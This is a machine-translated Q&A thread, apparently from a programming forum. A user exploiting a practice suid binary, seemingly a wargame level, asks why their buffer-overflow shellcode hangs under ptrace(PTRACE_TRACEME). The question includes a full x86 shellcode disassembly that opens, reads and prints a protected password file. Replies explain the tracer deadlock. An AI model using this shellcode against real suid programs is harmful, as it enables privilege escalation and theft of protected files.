2016-05-29 4 views
1

私は、デバッグを防ぐためにptraceを使用するコードを悪用しようとしています。
この実行ファイルはsuidなので、クラックすることはありません。 スタックセグメント実行可能ファイルもあります。この実行ファイルは再生用に作られています。
私は自分の脆弱性を発見した後、バッファオーバーフローを試みました。私はシェルを起動するシェルコードを書きました。私の驚いたことに、シェルコードはハングします。 (BASHはプロセスが停止したと報告しています)
いくつかのテストの結果、ptraceはデバッグを妨げるだけでなく、シェルコードが実行されないという結論に達しました。
ptraceについて読むと、ptrace(PTRACE_TRACEME,0,1,0)を呼び出すプロセスは、syscall execを起動するとすぐに停止することがわかりました。だから私は戦略を変えました.ptraceは実行可能ファイルを起動するとすぐにプロセスを停止するので、ファイルを読み込むシェルコードを試しました。私の目的は、シェルを起動するのではなく、私のユーザーが許可を得ていないファイルを読み込むことです。やっと、このコードもハングアップしました。

誰も私のコードは、それはexecコールを含んでいないにもかかわらず、それがぶら下がっている理由を説明することはできますか?
プロセス内からptraceを停止する方法はありますか?
私の場合は、ptracedプロセスに親がなく、より高い特権で実行されているため、suidを引き起こします。どのように制御できますか?
親なしのPTRACE_TRACEME

私のコードには、execを含めないでください。

ここに私のシェルコード:

0: 31 c0     xor eax,eax 
2: 31 db     xor ebx,ebx 
4: 31 c9     xor ecx,ecx 
6: 31 d2     xor edx,edx 
8: eb 38     jmp 0x42 
a: 5b      pop ebx 
b: c6 43 13 01    mov BYTE PTR [ebx+0x13],0x1 
f: fe 4b 13    dec BYTE PTR [ebx+0x13] 
12: b0 05     mov al,0x5 
14: 31 c9     xor ecx,ecx 
16: cd 80     int 0x80 
18: 89 c6     mov esi,eax 
1a: eb 06     jmp 0x22 
1c: b0 01     mov al,0x1 
1e: 31 db     xor ebx,ebx 
20: cd 80     int 0x80 
22: 89 f3     mov ebx,esi 
24: b0 03     mov al,0x3 
26: 83 ec 01    sub esp,0x1 
29: 89 e1     mov ecx,esp 
2b: b2 01     mov dl,0x1 
2d: cd 80     int 0x80 
2f: 31 db     xor ebx,ebx 
31: 39 c3     cmp ebx,eax 
33: 74 e7     je  0x1c 
35: b0 04     mov al,0x4 
37: b3 01     mov bl,0x1 
39: b2 01     mov dl,0x1 
3b: cd 80     int 0x80 
3d: 83 c4 01    add esp,0x1 
40: eb e0     jmp 0x22 
42: e8 c3 ff ff ff   call 0xa 
47:       db '/home/level8/passwd' 
+0

ほとんどの場合、プロセスがptracedされているときにクラッシュすると、最初にトレーサに通知されますが、この場合はトレーサは同じプロセスなので、デッドロックです。 – immibis

+0

@Alessandro:これは批評家でもなく、これだけのアドバイスですが、この質問は[RE.SE](https://reverseengineering.stackexchange.com/)に適しています(私は恥知らずに広告をしていますRE.SE!:)のために)。 – perror

答えて

0

私はあなたがどのようにptraceの作品のコア誤解を持っていると信じています。

execveを呼び出した後にプロセスが終了すると、それはという良好なものです。これは、デバッガがexecveの前後に物事を変更する機会を得ることを意味します。

あなたは子供にptrace(PTRACE_TRACEME)と書いてあるようですが、あなたが持っていなければならない親側のサポートを実装していないようです。その結果、ptraceがデバッガにイベントを通知しようとすると、プロセスは停止し、再起動しません。

関連する問題